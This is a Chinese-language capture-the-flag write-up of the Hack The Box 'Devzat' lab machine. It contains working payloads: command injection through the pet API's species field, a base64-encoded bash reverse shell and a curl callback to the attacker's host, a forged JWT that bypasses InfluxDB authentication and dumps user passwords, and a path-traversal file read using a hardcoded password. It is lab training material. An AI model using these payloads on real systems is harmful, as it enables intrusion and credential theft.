└─# nmap 10.10.11.118 -p 22,80,8000 -sC -sV --min-rate=200
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-21 01:26 EST
Nmap scan report for 10.10.11.118
Host is up (0.38s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
| 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://devzat.htb/
8000/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=12/21%Time=61C173B9%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.89 seconds
写入hosts
[04:17:55] 200 - 17KB - /LICENSE.txt
[04:17:56] 200 - 877B - /README.txt
[04:18:40] 301 - 309B - /assets -> http://devzat.htb/assets/
[04:18:40] 200 - 1KB - /assets/
[04:19:18] 301 - 309B - /images -> http://devzat.htb/images/
[04:19:18] 200 - 2KB - /images/
[04:19:20] 200 - 6KB - /index.html
[04:19:23] 301 - 313B - /javascript -> http://devzat.htb/javascript/
找一下子域,扫描下vhost。扫到了一个pets
用户名
Cookie
Mia
Chuck
Balu
Georg
Gustav
Rudi
Bruno
漏洞挖掘
尝试添加一下宠物没什么反应。
扫下目录发现 .git 还有目录下的一个目录 build 信息泄露
成功导出的目录如下:
┌──(root💀kali)-[/tmp/dump]
└─# tree
.
├── 0-464614f32483e1fde60ee53f5d3b4d468d80ff62
│ ├── characteristics
│ ├── commit-meta.txt
│ ├── go.mod
│ └── go.sum
├── 1-8274d7a547c0c3854c074579dfc359664082a8f6
│ ├── characteristics
│ ├── commit-meta.txt
│ ├── go.mod
│ └── go.sum
└── 2-ef07a04ebb2fc92cf74a39e0e4b843630666a705
├── characteristics
├── commit-meta.txt
├── go.mod
├── go.sum
├── main.go
└── petshop
6 directories, 11 files
查看代码发现main.go就是pets.devzat.htb的源代码
package main
import (
"embed"
"encoding/json"
"fmt"
"io/fs"
"io/ioutil"
"log"
"net/http"
"os/exec"
"time"
)
//go:embed static/public
var web embed.FS
//go:embed static/public/index.html
var index []byte
type Pet struct {
Name string `json:"name"`
Species string `json:"species"`
Characteristics string `json:"characteristics"`
}
var (
Pets []Pet = []Pet{
{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
}
)
func loadCharacter(species string) string {
cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
return err.Error()
}
return string(stdoutStderr)
}
func getPets(w http.ResponseWriter, r *http.Request) {
json.NewEncoder(w).Encode(Pets)
}
func addPet(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)
var addPet Pet
err := json.Unmarshal(reqBody, &addPet)
if err != nil {
e := fmt.Sprintf("There has been an error: %+v", err)
http.Error(w, e, http.StatusBadRequest)
return
}
addPet.Characteristics = loadCharacter(addPet.Species)
Pets = append(Pets, addPet)
w.WriteHeader(http.StatusOK)
fmt.Fprint(w, "Pet was added successfully")
}
func handleRequest() {
build, err := fs.Sub(web, "static/public/build")
if err != nil {
panic(err)
}
css, err := fs.Sub(web, "static/public/css")
if err != nil {
panic(err)
}
webfonts, err := fs.Sub(web, "static/public/webfonts")
if err != nil {
panic(err)
}
spaHandler := http.HandlerFunc(spaHandlerFunc)
// Single page application handler
http.Handle("/", headerMiddleware(spaHandler))
// All static folder handler
http.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build)))))
http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css)))))
http.Handle("/webfonts/", headerMiddleware(http.StripPrefix("/webfonts", http.FileServer(http.FS(webfonts)))))
http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))
// API routes
apiHandler := http.HandlerFunc(petHandler)
http.Handle("/api/pet", headerMiddleware(apiHandler))
log.Fatal(http.ListenAndServe("127.0.0.1:5000", nil))
}
func spaHandlerFunc(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write(index)
}
func petHandler(w http.ResponseWriter, r *http.Request) {
// Dispatch by method
if r.Method == http.MethodPost {
addPet(w, r)
} else if r.Method == http.MethodGet {
getPets(w, r)
} else {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
}
// TODO: Add Update and Delete
}
func headerMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Add("Server", "My genious go pet server")
next.ServeHTTP(w, r)
})
}
func main() {
resetTicker := time.NewTicker(5 * time.Second)
done := make(chan bool)
go func() {
for {
select {
case <-done:
return
case <-resetTicker.C:
// Reset Pets to prestaged ones
Pets = []Pet{
{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
}
}
}
}()
handleRequest()
time.Sleep(500 * time.Millisecond)
resetTicker.Stop()
done <- true
}
源码比较简单,主要逻辑如下:
loadCharacter直接调用了exec.Command(),虽然我不知道这个函数的意思,但是参数是一个命令执行cat。
在addPet()函数中调用loadCharacter()且参数可控。
在petHandler中当发送请求为POST时,将会执行addPet()
在handleRequest()方法中最后将petHandler实例化,设置接口/api/pet。
在main()函数中调用了handleRequest()
调用栈如下:
main():
handleRequest()
petHandler()
POST -> addHanler()
loadCharacter()
exec.Command()
尝试构造payload:
sh -c cat characteristics/ +`curl 10.10.14.50/123`
curl http://pets.devzat.htb/api/pet -X POST --data '{"name":"123","species":"`curl 10.10.14.50/123`"}'
curl http://pets.devzat.htb/api/pet -X POST --data '{"name":"123","species":"`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTAvNDQ0NCAwPiYxCg== |base64 -d |bash`"}'
发现私钥,尝试连接22端口,失败了?之前的web页面上有说连8000端口 ,而且8000端口开着,作者在这里来了个surprise!!!
先不看这个信息收集一下
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
patrick:x:1000:1000:patrick:/home/patrick:/bin/bash
catherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash
[+] Looks like we're hosting Docker:
Docker version 20.10.7, build f0df350
$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8086 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:49532 127.0.0.1:5000 FIN_WAIT2
tcp 0 0 127.0.0.1:5000 127.0.0.1:49532 CLOSE_WAIT
tcp 0 1 10.10.11.118:52254 1.1.1.1:53 SYN_SENT
tcp 0 0 10.10.11.118:47040 10.10.14.50:4444 CLOSE_WAIT
tcp 0 0 10.10.11.118:47472 10.10.14.50:4444 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::8000 :::* LISTEN
本地开有两个端口 8443 8086在服务器是看不出来是什么服务。
有一个ssh连接,走一个ssh隧道
ssh -L 8086:127.0.0.1:8086 [email protected] -p 8000
不行,换frp
cat << EOF >3.txt
[common]
server_addr = 10.10.14.50
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 8086
remote_port = 6000
nmap 172.16.0.4 -sV -p 6000
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-22 23:49 ?D1ú±ê×?ê±??
Nmap scan report for 172.16.0.4
Host is up (0.00s latency).
PORT STATE SERVICE VERSION
6000/tcp open http InfluxDB http admin 1.7.5
MAC Address: 00:0C:29:E9:FA:DE (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds
还是无法访问web界面,但是成功扫描到一些目录
[23:55:47] 200 - 2KB - /debug/pprof
[23:55:47] 200 - 9KB - /debug/pprof/goroutine?debug=1
[23:55:47] 200 - 19KB - /debug/pprof/heap
[23:56:09] 200 - 5KB - /metrics
[23:56:21] 204 - 0B - /ping
[23:56:34] 204 - 0B - /status
[23:56:34] 204 - 0B - /status?full=true
curl -G http://127.0.0.1:6000/
{"error":"unable to parse authentication credentials"}
通过网络可以得到InfluxDB http admin 1.7.5存在一个认证绕过的漏洞,认证方法是Jwt,使用python -c "import time;print(time.time())"可以直接获取时间戳,然后创建一个jwt token:
{"alg": "HS256"}
{"username":"admin","exp":1640199606}
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ
C:\>curl -G http://172.16.0.4:6000/query -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" -i --data-urlencode "q=show databases"
{"results":[{"statement_id":0,"series":[{"name":"databases","columns":["name"],"values":[["devzat"],["_internal"]]}]}]}
C:\>curl -G http://172.16.0.4:6000/query?db=devzat -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" --data-urlencode "q=show measurements"
{"results":[{"statement_id":0,"series":[{"name":"measurements","columns":["name"],"values":[["user"]]}]}]}
C:\Users\Administrator>curl -G "http://172.16.0.4:6000/query?q=show+field+keys&db=devzat" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" -i
{"results":[{"statement_id":0,"series":[{"name":"user","columns":["fieldKey","fieldType"],"values":[["enabled","boolean"],["password","string"],["username","string"]]}]}]}
C:\>curl -G http://172.16.0.4:6000/query?db=devzat -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" --data-urlencode "q=select * from \"user\""
{"results":[{"statement_id":0,"series":[{"name":"user","columns":["time","enabled","password","username"],"values":[["2021-06-22T20:04:16.313965493Z",false,"WillyWonka2021","wilhelm"],["2021-06-22T20:04:16.320782034Z",true,"woBeeYareedahc7Oogeephies7Aiseci","catherine"],["2021-06-22T20:04:16.996682002Z",true,"RoyalQueenBee$","charles"]]}]}]}
找到了catherine用户的密码:
catherine:woBeeYareedahc7Oogeephies7Aiseci
ssh [email protected]
find /var -user catherine 2>/dev/null
在/var/backups目录下找到了两个备份文件devzat-main.zip和devzat-dev.zip
catherine@devzat:/var/backups$ ls -al
ls -al
total 1132
drwxr-xr-x 2 root root 4096 Dec 23 06:25 .
drwxr-xr-x 14 root root 4096 Jun 22 2021 ..
-rw-r--r-- 1 root root 51200 Dec 23 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 59142 Sep 28 18:45 apt.extended_states.0
-rw-r--r-- 1 root root 6588 Sep 21 20:17 apt.extended_states.1.gz
-rw-r--r-- 1 root root 6602 Jul 16 06:41 apt.extended_states.2.gz
-rw------- 1 catherine catherine 28297 Jul 16 07:00 devzat-dev.zip
-rw------- 1 catherine catherine 27567 Jul 16 07:00 devzat-main.zip
-rw-r--r-- 1 root root 268 Sep 29 11:46 dpkg.diversions.0
-rw-r--r-- 1 root root 170 Jul 16 06:41 dpkg.statoverride.0
-rw-r--r-- 1 root root 951869 Sep 28 18:45 dpkg.status.0
catherine@devzat:/tmp/dev$ grep -iR pass
grep -iR pass
devchat.go: u.writeln("patrick", "That's perfectly fine :thumbs_up: You'll need a password which you can gather from the source. I left it in our default backups location.")
commands.go: u.system("Please provide file to print and the password")
commands.go: u.system("You need to provide the correct password to use this function")
commands.go: pass := args[1]
commands.go: // Check my secure password
commands.go: if pass != "CeilingCatStillAThingIn2021?" {
commands.go: u.system("You did provide the wrong password")
testfile.txt:Through me you pass into the city of woe:
testfile.txt:Through me you pass into eternal pain:
有一个密码CeilingCatStillAThingIn2021?
python3 -c "import pty;pty.spawn('/bin/bash')"
发现root启动了一个进程。
经过比对后发现两份源码关键的变化在
可以使用命令diff
diff dev/commands.go main/commands.go >> diff.txt
func fileCommand(u *user, args []string) {
if len(args) < 1 {
u.system("Please provide file to print and the password")
return
}
if len(args) < 2 {
u.system("You need to provide the correct password to use this function")
return
}
path := args[0]
pass := args[1]
// Check my secure password
if pass != "CeilingCatStillAThingIn2021?" {
u.system("You did provide the wrong password")
return
}
// Get CWD 获取目录
cwd, err := os.Getwd()
if err != nil {
u.system(err.Error())
}
// Construct path to print 拼接路径
printPath := filepath.Join(cwd, path)
// Check if file exists 检查文件是否存在
if _, err := os.Stat(printPath); err == nil {
// exists, print
file, err := os.Open(printPath)//打开文件
if err != nil {
u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
return
}
defer file.Close()//go 语言特性:defer 存在的函数或语句最后执行
//go中文件读取操作,由于服务是使用root启动的,可以读取root权限的文件。
scanner := bufio.NewScanner(file)
for scanner.Scan() {
u.system(scanner.Text())//
}
if err := scanner.Err(); err != nil {
u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
}
return
} else if os.IsNotExist(err) {
// does not exist, print error
u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
return
}
// bokred?
u.system("Something went badly wrong.")
}
func (u *user) system(message string) {//输出函数
u.term.Write([]byte(red.Paint("[SYSTEM] ") + mdRender(message, 9, u.win.Width) + "\n"))
}
这段代码中存在可控的文件读取功能。
可以通过控制第一个参数控制路径,通过第二个参数pass绕过检测。
ssh -l root 127.0.0.1 -p 8443
构造payload
file ../../../../etc/passwd CeilingCatStillAThingIn2021?
上传公钥,连接一个稳定ssh再试
成功
喜欢就请关注我们吧!